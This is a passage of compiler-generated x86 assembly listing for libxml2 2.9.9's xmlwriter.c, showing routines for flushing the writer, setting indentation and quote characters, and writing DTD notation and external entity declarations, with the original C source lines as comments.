; 4313 : xmlLinkPtr lk;
; 4314 : xmlTextWriterNsStackEntry *np;
; 4315 : int count;
; 4316 : int sum;
; 4317 :
; 4318 : sum = 0;
; 4319 : while (!xmlListEmpty(writer->nsstack)) {
push DWORD PTR [edi+8]
call _xmlListEmpty
add esp, 4
test eax, eax
je $LL2@xmlTextWri
$LN62@xmlTextWri:
pop edi
; 4344 : }
; 4345 : }
; 4346 : return sum;
; 4347 : }
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN58@xmlTextWri:
; 4339 : xmlListDelete(writer->nsstack);
push DWORD PTR [edi+8]
call _xmlListDelete
add esp, 4
; 4340 : writer->nsstack = NULL;
mov DWORD PTR [edi+8], 0
; 4341 : return -1;
or eax, -1
pop edi
; 4344 : }
; 4345 : }
; 4346 : return sum;
; 4347 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlTextWriterOutputNSDecl ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlCmpTextWriterStackEntry
_TEXT SEGMENT
_data0$ = 8 ; size = 4
_data1$ = 12 ; size = 4
_xmlCmpTextWriterStackEntry PROC ; COMDAT
; 4281 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _data0$[ebp]
mov ecx, DWORD PTR _data1$[ebp]
cmp eax, ecx
jne SHORT $LN2@xmlCmpText
; 4282 : xmlTextWriterStackEntry *p0;
; 4283 : xmlTextWriterStackEntry *p1;
; 4284 :
; 4285 : if (data0 == data1)
; 4286 : return 0;
xor eax, eax
; 4298 : }
pop ebp
ret 0
$LN2@xmlCmpText:
; 4287 :
; 4288 : if (data0 == 0)
test eax, eax
jne SHORT $LN3@xmlCmpText
; 4289 : return -1;
or eax, -1
; 4298 : }
pop ebp
ret 0
$LN3@xmlCmpText:
; 4290 :
; 4291 : if (data1 == 0)
test ecx, ecx
jne SHORT $LN4@xmlCmpText
; 4292 : return 1;
mov eax, 1
; 4298 : }
pop ebp
ret 0
$LN4@xmlCmpText:
; 4293 :
; 4294 : p0 = (xmlTextWriterStackEntry *) data0;
; 4295 : p1 = (xmlTextWriterStackEntry *) data1;
; 4296 :
; 4297 : return xmlStrcmp(p0->name, p1->name);
push DWORD PTR [ecx]
push DWORD PTR [eax]
call _xmlStrcmp
add esp, 8
; 4298 : }
pop ebp
ret 0
_xmlCmpTextWriterStackEntry ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlFreeTextWriterStackEntry
_TEXT SEGMENT
_lk$ = 8 ; size = 4
_xmlFreeTextWriterStackEntry PROC ; COMDAT
; 4258 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _lk$[ebp]
call _xmlLinkGetData
mov esi, eax
add esp, 4
test esi, esi
je SHORT $LN1@xmlFreeTex
; 4259 : xmlTextWriterStackEntry *p;
; 4260 :
; 4261 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
; 4262 : if (p == 0)
; 4263 : return;
; 4264 :
; 4265 : if (p->name != 0)
mov eax, DWORD PTR [esi]
test eax, eax
je SHORT $LN3@xmlFreeTex
; 4266 : xmlFree(p->name);
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN3@xmlFreeTex:
; 4267 : xmlFree(p);
push esi
call DWORD PTR _xmlFree
add esp, 4
$LN1@xmlFreeTex:
pop esi
; 4268 : }
pop ebp
ret 0
_xmlFreeTextWriterStackEntry ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterFlush
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterFlush PROC ; COMDAT
; 4232 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _writer$[ebp]
test eax, eax
jne SHORT $LN2@xmlTextWri
; 4233 : int count;
; 4234 :
; 4235 : if (writer == NULL)
; 4236 : return -1;
or eax, -1
; 4242 :
; 4243 : return count;
; 4244 : }
pop ebp
ret 0
$LN2@xmlTextWri:
; 4237 :
; 4238 : if (writer->out == NULL)
mov eax, DWORD PTR [eax]
test eax, eax
jne SHORT $LN3@xmlTextWri
; 4242 :
; 4243 : return count;
; 4244 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 4239 : count = 0;
; 4240 : else
; 4241 : count = xmlOutputBufferFlush(writer->out);
mov DWORD PTR _writer$[ebp], eax
; 4242 :
; 4243 : return count;
; 4244 : }
pop ebp
; 4239 : count = 0;
; 4240 : else
; 4241 : count = xmlOutputBufferFlush(writer->out);
jmp _xmlOutputBufferFlush
_xmlTextWriterFlush ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterSetQuoteChar
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_quotechar$ = 12 ; size = 1
_xmlTextWriterSetQuoteChar PROC ; COMDAT
; 4624 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _writer$[ebp]
test ecx, ecx
je SHORT $LN3@xmlTextWri
; 4625 : if ((writer == NULL) || ((quotechar != '\'') && (quotechar != '"')))
mov al, BYTE PTR _quotechar$[ebp]
cmp al, 39 ; 00000027H
je SHORT $LN2@xmlTextWri
cmp al, 34 ; 00000022H
jne SHORT $LN3@xmlTextWri
$LN2@xmlTextWri:
; 4627 :
; 4628 : writer->qchar = quotechar;
mov BYTE PTR [ecx+28], al
; 4629 :
; 4630 : return 0;
xor eax, eax
; 4631 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 4626 : return -1;
or eax, -1
; 4631 : }
pop ebp
ret 0
_xmlTextWriterSetQuoteChar ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterSetIndentString
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_str$ = 12 ; size = 4
_xmlTextWriterSetIndentString PROC ; COMDAT
; 4599 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN3@xmlTextWri
; 4600 : if ((writer == NULL) || (!str))
cmp DWORD PTR _str$[ebp], 0
je SHORT $LN3@xmlTextWri
; 4602 :
; 4603 : if (writer->ichar != NULL)
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN4@xmlTextWri
; 4604 : xmlFree(writer->ichar);
push eax
call DWORD PTR _xmlFree
add esp, 4
$LN4@xmlTextWri:
; 4605 : writer->ichar = xmlStrdup(str);
push DWORD PTR _str$[ebp]
call _xmlStrdup
add esp, 4
mov DWORD PTR [esi+24], eax
; 4606 :
; 4607 : if (!writer->ichar)
test eax, eax
je SHORT $LN3@xmlTextWri
; 4608 : return -1;
; 4609 : else
; 4610 : return 0;
xor eax, eax
pop esi
; 4611 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 4601 : return -1;
or eax, -1
pop esi
; 4611 : }
pop ebp
ret 0
_xmlTextWriterSetIndentString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterSetIndent
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_indent$ = 12 ; size = 4
_xmlTextWriterSetIndent PROC ; COMDAT
; 4578 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _writer$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 4579 : if ((writer == NULL) || (indent < 0))
mov ecx, DWORD PTR _indent$[ebp]
test ecx, ecx
js SHORT $LN3@xmlTextWri
; 4581 :
; 4582 : writer->indent = indent;
mov DWORD PTR [eax+16], ecx
; 4583 : writer->doindent = 1;
mov DWORD PTR [eax+20], 1
; 4584 :
; 4585 : return 0;
xor eax, eax
; 4586 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 4580 : return -1;
or eax, -1
; 4586 : }
pop ebp
ret 0
_xmlTextWriterSetIndent ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDNotation
_TEXT SEGMENT
_p$1$ = 8 ; size = 4
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_pubid$ = 16 ; size = 4
_sysid$ = 20 ; size = 4
_xmlTextWriterWriteDTDNotation PROC ; COMDAT
; 4114 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
test edi, edi
je SHORT $LN5@xmlTextWri
; 4115 : int count;
; 4116 : int sum;
; 4117 : xmlLinkPtr lk;
; 4118 : xmlTextWriterStackEntry *p;
; 4119 :
; 4120 : if (writer == NULL || name == NULL || *name == '\0')
mov ebx, DWORD PTR _name$[ebp]
test ebx, ebx
je SHORT $LN5@xmlTextWri
cmp BYTE PTR [ebx], 0
je SHORT $LN5@xmlTextWri
; 4121 : return -1;
; 4122 :
; 4123 : sum = 0;
; 4124 : lk = xmlListFront(writer->nodes);
push DWORD PTR [edi+4]
xor esi, esi
call _xmlListFront
add esp, 4
; 4125 : if (lk == 0) {
test eax, eax
je SHORT $LN5@xmlTextWri
; 4126 : return -1;
; 4127 : }
; 4128 :
; 4129 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
mov DWORD PTR _p$1$[ebp], eax
; 4130 : if (p != 0) {
test eax, eax
je SHORT $LN12@xmlTextWri
; 4131 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
sub eax, 7
je SHORT $LN8@xmlTextWri
sub eax, 1
je SHORT $LN12@xmlTextWri
$LN5@xmlTextWri:
pop edi
; 4218 :
; 4219 : return sum;
; 4220 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN8@xmlTextWri:
; 4132 : case XML_TEXTWRITER_DTD:
; 4133 : count = xmlOutputBufferWriteString(writer->out, " [");
push OFFSET ??_C@_02GBLMOEJC@?5?$FL@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
mov esi, eax
add esp, 8
; 4134 : if (count < 0)
test esi, esi
js SHORT $LN5@xmlTextWri
; 4135 : return -1;
; 4136 : sum += count;
; 4137 : if (writer->indent) {
cmp DWORD PTR [edi+16], 0
je SHORT $LN10@xmlTextWri
; 4138 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4139 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 4140 : return -1;
; 4141 : sum += count;
add esi, eax
$LN10@xmlTextWri:
; 4142 : }
; 4143 : p->state = XML_TEXTWRITER_DTD_TEXT;
mov eax, DWORD PTR _p$1$[ebp]
mov DWORD PTR [eax+4], 8
$LN12@xmlTextWri:
; 4144 : /* fallthrough */
; 4145 : case XML_TEXTWRITER_DTD_TEXT:
; 4146 : break;
; 4147 : default:
; 4148 : return -1;
; 4149 : }
; 4150 : }
; 4151 :
; 4152 : if (writer->indent) {
cmp DWORD PTR [edi+16], 0
je SHORT $LN14@xmlTextWri
; 4153 : count = xmlTextWriterWriteIndent(writer);
push edi
call _xmlTextWriterWriteIndent
add esp, 4
; 4154 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 4155 : return -1;
; 4156 : sum += count;
add esi, eax
$LN14@xmlTextWri:
; 4157 : }
; 4158 :
; 4159 : count = xmlOutputBufferWriteString(writer->out, "<!NOTATION ");
push OFFSET ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4160 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 4161 : return -1;
; 4162 : sum += count;
; 4163 : count = xmlOutputBufferWriteString(writer->out, (const char *) name);
push ebx
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 4164 : if (count < 0)
test eax, eax
js SHORT $LN5@xmlTextWri
; 4165 : return -1;
; 4166 : sum += count;
add esi, eax
; 4167 :
; 4168 : if (pubid != 0) {
mov eax, DWORD PTR _pubid$[ebp]
test eax, eax
je SHORT $LN32@xmlTextWri
; 4169 : count = xmlOutputBufferWriteString(writer->out, " PUBLIC ");
push OFFSET ??_C@_08GBBLECIH@?5PUBLIC?5@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4170 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4171 : return -1;
; 4172 : sum += count;
; 4173 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea ebx, DWORD PTR [edi+28]
add esi, eax
push ebx
push 1
push DWORD PTR [edi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4174 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4175 : return -1;
; 4176 : sum += count;
; 4177 : count =
push DWORD PTR _pubid$[ebp]
add esi, eax
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4178 : xmlOutputBufferWriteString(writer->out, (const char *) pubid);
; 4179 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4180 : return -1;
; 4181 : sum += count;
; 4182 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4183 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4184 : return -1;
; 4185 : sum += count;
add esi, eax
mov eax, DWORD PTR _pubid$[ebp]
jmp SHORT $LN18@xmlTextWri
$LN32@xmlTextWri:
lea ebx, DWORD PTR [edi+28]
$LN18@xmlTextWri:
; 4186 : }
; 4187 :
; 4188 : if (sysid != 0) {
cmp DWORD PTR _sysid$[ebp], 0
je SHORT $LN23@xmlTextWri
; 4189 : if (pubid == 0) {
test eax, eax
jne SHORT $LN24@xmlTextWri
; 4190 : count = xmlOutputBufferWriteString(writer->out, " SYSTEM");
push OFFSET ??_C@_07FCENLLFI@?5SYSTEM@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4191 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4192 : return -1;
; 4193 : sum += count;
add esi, eax
$LN24@xmlTextWri:
; 4194 : }
; 4195 : count = xmlOutputBufferWriteString(writer->out, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4196 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4197 : return -1;
; 4198 : sum += count;
; 4199 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4200 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4201 : return -1;
; 4202 : sum += count;
; 4203 : count =
push DWORD PTR _sysid$[ebp]
add esi, eax
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4204 : xmlOutputBufferWriteString(writer->out, (const char *) sysid);
; 4205 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4206 : return -1;
; 4207 : sum += count;
; 4208 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4209 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4210 : return -1;
; 4211 : sum += count;
add esi, eax
$LN23@xmlTextWri:
; 4212 : }
; 4213 :
; 4214 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4215 : if (count < 0)
test eax, eax
js $LN5@xmlTextWri
; 4216 : return -1;
; 4217 : sum += count;
pop edi
add eax, esi
; 4218 :
; 4219 : return sum;
; 4220 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterWriteDTDNotation ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pe$ = 12 ; size = 4
_name$ = 16 ; size = 4
_pubid$ = 20 ; size = 4
_sysid$ = 24 ; size = 4
_ndataid$ = 28 ; size = 4
_content$ = 32 ; size = 4
_xmlTextWriterWriteDTDEntity PROC ; COMDAT
; 3861 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _content$[ebp], 0
mov eax, DWORD PTR _sysid$[ebp]
mov ecx, DWORD PTR _pubid$[ebp]
jne SHORT $LN2@xmlTextWri
; 3862 : if ((content == NULL) && (pubid == NULL) && (sysid == NULL))
test ecx, ecx
jne SHORT $LN2@xmlTextWri
test eax, eax
je SHORT $LN6@xmlTextWri
$LN2@xmlTextWri:
; 3863 : return -1;
; 3864 : if ((pe != 0) && (ndataid != NULL))
mov edx, DWORD PTR _pe$[ebp]
test edx, edx
je SHORT $LN3@xmlTextWri
cmp DWORD PTR _ndataid$[ebp], 0
je SHORT $LN3@xmlTextWri
$LN6@xmlTextWri:
; 3865 : return -1;
or eax, -1
; 3872 : sysid, ndataid);
; 3873 : }
pop ebp
ret 0
$LN3@xmlTextWri:
; 3866 :
; 3867 : if ((pubid == NULL) && (sysid == NULL))
test ecx, ecx
jne SHORT $LN4@xmlTextWri
test eax, eax
jne SHORT $LN4@xmlTextWri
; 3868 : return xmlTextWriterWriteDTDInternalEntity(writer, pe, name,
push DWORD PTR _content$[ebp]
push DWORD PTR _name$[ebp]
push edx
push DWORD PTR _writer$[ebp]
call _xmlTextWriterWriteDTDInternalEntity
add esp, 16 ; 00000010H
; 3872 : sysid, ndataid);
; 3873 : }
pop ebp
ret 0
$LN4@xmlTextWri:
; 3869 : content);
; 3870 :
; 3871 : return xmlTextWriterWriteDTDExternalEntity(writer, pe, name, pubid,
push DWORD PTR _ndataid$[ebp]
push eax
push ecx
push DWORD PTR _name$[ebp]
push edx
push DWORD PTR _writer$[ebp]
call _xmlTextWriterWriteDTDExternalEntity
add esp, 24 ; 00000018H
; 3872 : sysid, ndataid);
; 3873 : }
pop ebp
ret 0
_xmlTextWriterWriteDTDEntity ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDExternalEntityContents
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pubid$ = 12 ; size = 4
_sysid$ = 16 ; size = 4
_ndataid$ = 20 ; size = 4
_xmlTextWriterWriteDTDExternalEntityContents PROC ; COMDAT
; 3983 : {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
test edi, edi
jne SHORT $LN4@xmlTextWri
; 3984 : int count;
; 3985 : int sum;
; 3986 : xmlLinkPtr lk;
; 3987 : xmlTextWriterStackEntry *p;
; 3988 :
; 3989 : if (writer == NULL) {
; 3990 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@
push 1
push edi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 3991 : "xmlTextWriterWriteDTDExternalEntityContents: xmlTextWriterPtr invalid!\n");
; 3992 : return -1;
or eax, -1
pop edi
; 4097 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push ebx
push esi
; 3993 : }
; 3994 :
; 3995 : sum = 0;
; 3996 : lk = xmlListFront(writer->nodes);
push DWORD PTR [edi+4]
xor esi, esi
call _xmlListFront
add esp, 4
; 3997 : if (lk == 0) {
test eax, eax
je $LN10@xmlTextWri
; 3998 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
; 3999 : "xmlTextWriterWriteDTDExternalEntityContents: you must call xmlTextWriterStartDTDEntity before the call to this function!\n");
; 4000 : return -1;
; 4001 : }
; 4002 :
; 4003 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 4004 : if (p == 0)
test eax, eax
je $LN29@xmlTextWri
; 4005 : return -1;
; 4006 :
; 4007 : switch (p->state) {
mov eax, DWORD PTR [eax+4]
sub eax, 13 ; 0000000dH
je SHORT $LN9@xmlTextWri
sub eax, 2
jne $LN10@xmlTextWri
; 4008 : case XML_TEXTWRITER_DTD_ENTY:
; 4009 : break;
; 4010 : case XML_TEXTWRITER_DTD_PENT:
; 4011 : if (ndataid != NULL) {
cmp DWORD PTR _ndataid$[ebp], esi
je SHORT $LN9@xmlTextWri
; 4012 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@
; 4013 : "xmlTextWriterWriteDTDExternalEntityContents: notation not allowed with parameter entities!\n");
; 4014 : return -1;
; 4015 : }
; 4016 : break;
; 4017 : default:
; 4018 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push 1
push edi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
; 4019 : "xmlTextWriterWriteDTDExternalEntityContents: you must call xmlTextWriterStartDTDEntity before the call to this function!\n");
; 4020 : return -1;
or eax, -1
pop esi
pop ebx
pop edi
; 4097 : }
pop ebp
ret 0
$LN9@xmlTextWri:
; 4021 : }
; 4022 :
; 4023 : if (pubid != 0) {
mov ebx, DWORD PTR _pubid$[ebp]
mov eax, DWORD PTR _sysid$[ebp]
test ebx, ebx
je $LN28@xmlTextWri
; 4024 : if (sysid == 0) {
test eax, eax
jne SHORT $LN12@xmlTextWri
; 4025 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@
push 1
push edi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
or eax, -1
pop esi
pop ebx
pop edi
; 4097 : }
pop ebp
ret 0
$LN12@xmlTextWri:
; 4026 : "xmlTextWriterWriteDTDExternalEntityContents: system identifier needed!\n");
; 4027 : return -1;
; 4028 : }
; 4029 :
; 4030 : count = xmlOutputBufferWriteString(writer->out, " PUBLIC ");
push OFFSET ??_C@_08GBBLECIH@?5PUBLIC?5@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
mov esi, eax
add esp, 8
; 4031 : if (count < 0)
test esi, esi
js $LN29@xmlTextWri
; 4032 : return -1;
; 4033 : sum += count;
; 4034 :
; 4035 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [edi+28]
push eax
push 1
push DWORD PTR [edi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4036 : if (count < 0)
test eax, eax
js $LN29@xmlTextWri
; 4037 : return -1;
; 4038 : sum += count;
; 4039 :
; 4040 : count =
push ebx
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 4041 : xmlOutputBufferWriteString(writer->out, (const char *) pubid);
; 4042 : if (count < 0)
test eax, eax
js $LN29@xmlTextWri
; 4043 : return -1;
; 4044 : sum += count;
add esi, eax
; 4045 :
; 4046 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [edi+28]
push eax
push 1
push DWORD PTR [edi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4047 : if (count < 0)
test eax, eax
js $LN29@xmlTextWri
; 4048 : return -1;
; 4049 : sum += count;
add esi, eax
mov eax, DWORD PTR _sysid$[ebp]
$LN28@xmlTextWri:
; 4050 : }
; 4051 :
; 4052 : if (sysid != 0) {
test eax, eax
je SHORT $LN17@xmlTextWri
; 4053 : if (pubid == 0) {
test ebx, ebx
jne SHORT $LN18@xmlTextWri
; 4054 : count = xmlOutputBufferWriteString(writer->out, " SYSTEM");
push OFFSET ??_C@_07FCENLLFI@?5SYSTEM@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4055 : if (count < 0)
test eax, eax
js $LN29@xmlTextWri
; 4056 : return -1;
; 4057 : sum += count;
add esi, eax
$LN18@xmlTextWri:
; 4058 : }
; 4059 :
; 4060 : count = xmlOutputBufferWriteString(writer->out, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4061 : if (count < 0)
test eax, eax
js $LN29@xmlTextWri
; 4062 : return -1;
; 4063 : sum += count;
; 4064 :
; 4065 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea ebx, DWORD PTR [edi+28]
add esi, eax
push ebx
push 1
push DWORD PTR [edi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4066 : if (count < 0)
test eax, eax
js SHORT $LN29@xmlTextWri
; 4067 : return -1;
; 4068 : sum += count;
; 4069 :
; 4070 : count =
push DWORD PTR _sysid$[ebp]
add esi, eax
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4071 : xmlOutputBufferWriteString(writer->out, (const char *) sysid);
; 4072 : if (count < 0)
test eax, eax
js SHORT $LN29@xmlTextWri
; 4073 : return -1;
; 4074 : sum += count;
; 4075 :
; 4076 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 4077 : if (count < 0)
test eax, eax
js SHORT $LN29@xmlTextWri
; 4078 : return -1;
; 4079 : sum += count;
add esi, eax
$LN17@xmlTextWri:
; 4080 : }
; 4081 :
; 4082 : if (ndataid != NULL) {
mov ebx, DWORD PTR _ndataid$[ebp]
test ebx, ebx
je SHORT $LN24@xmlTextWri
; 4083 : count = xmlOutputBufferWriteString(writer->out, " NDATA ");
push OFFSET ??_C@_07CGHGCOMH@?5NDATA?5@
push DWORD PTR [edi]
call _xmlOutputBufferWriteString
add esp, 8
; 4084 : if (count < 0)
test eax, eax
js SHORT $LN29@xmlTextWri
; 4085 : return -1;
; 4086 : sum += count;
; 4087 :
; 4088 : count =
push ebx
push DWORD PTR [edi]
add esi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 4089 : xmlOutputBufferWriteString(writer->out,
; 4090 : (const char *) ndataid);
; 4091 : if (count < 0)
test eax, eax
js SHORT $LN29@xmlTextWri
; 4092 : return -1;
; 4093 : sum += count;
add esi, eax
$LN24@xmlTextWri:
; 4094 : }
; 4095 :
; 4096 : return sum;
mov eax, esi
pop esi
pop ebx
pop edi
; 4097 : }
pop ebp
ret 0
$LN10@xmlTextWri:
; 4013 : "xmlTextWriterWriteDTDExternalEntityContents: notation not allowed with parameter entities!\n");
; 4014 : return -1;
; 4015 : }
; 4016 : break;
; 4017 : default:
; 4018 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@
push 1
push edi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN29@xmlTextWri:
; 4019 : "xmlTextWriterWriteDTDExternalEntityContents: you must call xmlTextWriterStartDTDEntity before the call to this function!\n");
; 4020 : return -1;
pop esi
pop ebx
or eax, -1
pop edi
; 4097 : }
pop ebp
ret 0
_xmlTextWriterWriteDTDExternalEntityContents ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteDTDExternalEntity
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_pe$ = 12 ; size = 4
_name$ = 16 ; size = 4
_pubid$ = 20 ; size = 4
_sysid$ = 24 ; size = 4
_ndataid$ = 28 ; size = 4
_xmlTextWriterWriteDTDExternalEntity PROC ; COMDAT
; 3937 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
cmp DWORD PTR _pubid$[ebp], 0
mov edi, DWORD PTR _sysid$[ebp]
jne SHORT $LN2@xmlTextWri
; 3938 : int count;
; 3939 : int sum;
; 3940 :
